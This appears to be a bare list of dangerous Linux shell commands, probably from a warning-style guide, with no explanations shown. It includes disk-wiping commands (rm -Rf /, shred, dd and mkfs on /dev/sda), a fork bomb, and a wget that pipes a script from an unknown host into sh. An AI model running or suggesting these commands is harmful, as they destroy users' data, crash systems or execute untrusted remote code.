- rm -Rf / - shred /dev/sda - dd if=/dev/random of=/dev/sda - mkfs.ext4 /dev/sda1 - mv / /dev/null - :(){:|:&};: - wget http://unknownsource.com/possiblydangerous.sh -O- | sh - gunzip untrusted.gz - command > file.conf - ^mistake^correction